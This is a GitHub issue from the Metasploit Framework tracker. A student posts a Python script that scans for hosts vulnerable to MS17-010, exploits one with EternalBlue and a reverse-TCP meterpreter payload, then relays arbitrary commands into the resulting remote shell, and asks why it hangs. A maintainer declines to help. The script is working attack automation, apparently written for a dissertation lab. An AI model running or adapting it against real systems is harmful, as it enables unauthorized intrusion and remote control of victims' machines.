rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.05k stars 13.95k forks source link

Metasloit python script stuck on PAYLOAD #9922

Closed geokal closed 6 years ago

geokal commented 6 years ago

I am having a problem with the presented code in kali linux , whenever I run the script and try to hit my windows 7 PRO 64 PC, I get stuck and nothing is happening! Before I added the "execute_command(client, 'set PAYLOAD windows/x64/meterpreter/reverse_tcp\n') and execute_command(client, 'set LHOST 192.168.198.148\n') # This is the IP for my Windows PC", everything worked fine but after I added this payload line, it just get stuck. Asked a professor of mine and said its a bug in python and have to do it using resource file but unfortunately I don't know how to do it or what it is at all. Any help would be appreciated.

import sys
import re
import time
try:
    import nmap
except:
    sys.exit('[!] Library python-nmap not present. Please run pip install python-nmap')
try:
    import msfrpc
except:
    sys.exit("[!] Install the msfrpc library that can be found here: https://github.com/SpiderLabs/msfrpc.git")

#Executes command in msfconsole and returns output
def execute_command(client,command):
    done = False
    client.call('console.write',[console_id, command])
    time.sleep(1)
    while done != True:
        result = client.call('console.read',[console_id_int])
        if len(result['data']) > 1:
            if result['busy'] == True:
                time.sleep(1)
                continue
            else:
                console_output = result['data']
                #print(console_output)
                done = True
    return console_output

# Read arguments argv[0] is the name of the script, arv[1] is the ip or ip range
if len(sys.argv) == 2:
    hosts = str(sys.argv[1])
    print '[i] Will scan '+ hosts
else:
    print '[!] Please provide IP or IP range'
    sys.exit(1)

#Initializing nmap scanner
nm = nmap.PortScanner()
nm.scan(hosts=hosts,arguments='-Pn -v -p445 --script smb-vuln-ms17-010.nse')
print '[i] ' + nm.command_line()

#Loop through results and print whether host is vulnerable or not 
counter = 1
vuln_hosts={}
for ip in nm._scan_result['scan'].keys():
    try:
        state = re.findall('State:\s+(\S+)',nm._scan_result['scan'][ip]['hostscript'][0]['output'])[0]
        print '[i] ' + ip+ ': '+state
        if state == 'VULNERABLE':
            vuln_hosts[str(counter)] = ip
            counter=counter+1
    except:
        print '[i] ' + ip+' : PORT UNREACHABLE'
if vuln_hosts =={}:
    sys.exit('[i] No vulnerable hosts found! Exiting!')

#Loop to select host to exploit
print ''
print '[i] Select host to exploit:'
while True:
    for key,value in vuln_hosts.items():
        print key + '. ' + value
    host = raw_input('> ')
    try:
        vuln_hosts[host]
        break
    except:
        print '[!] Host does not exist! Please try again!'

#Initializing msfrpc client and console
client = msfrpc.Msfrpc({'host':'127.0.0.1','port':55553,'ssl':False})
try:
    client.login('msf','test')
    print('[i] Connection to mdfrpc successful')
except:
    sys.exit("[!] Connection Failed. Please run << msfrpcd -U msf -P test -f -S -a 127.0.0.1 >> in another terminal")
try:
    result = client.call('console.create')
    print('[i] Console creation successful')
except:
    sys.exit("[!] Creation of console failed!")
console_id = result['id']
console_id_int = int(console_id)

#Initializing module
print '[i] Initializing exploit'
execute_command(client,'use exploit/windows/smb/ms17_010_eternalblue\n')
execute_command(client, 'set PAYLOAD windows/x64/meterpreter/reverse_tcp\n')
execute_command(client,'set RHOST %s\n'%vuln_hosts[host])
execute_command(client, 'set LHOST 192.168.198.148\n') # This is IP for my Windows PC
print execute_command(client,'run -j\n')

#Waiting for sessions
print '[i] Waiting for sessions'
while True:
    sessions = execute_command(client,'sessions\n')
    if 'No active sessions' in sessions:
        time.sleep(5)
    else:
        print sessions
        break

#Input commands inside vulnerable shell
while True:
    command = raw_input('%s > '%vuln_hosts[host])
    if command == 'exit':
        break
    else:
        print execute_command(client,'sessions -c %s\n'%command)

#Kill all sessions and destroy msf console
print '[i] Kill all sessions!!!!'
execute_command(client,'sessions -K\n')
client.call('console.destroy',[console_id])
busterb commented 6 years ago

This isn't a forum for asking for help with homework, it's a tracker for bugs and issues for metasploit-framework itself. Did you write this script yourself, or did your professor give it to you?

geokal commented 6 years ago

@busterb ok sorry for this. I wrote it my self, it's my dissertation.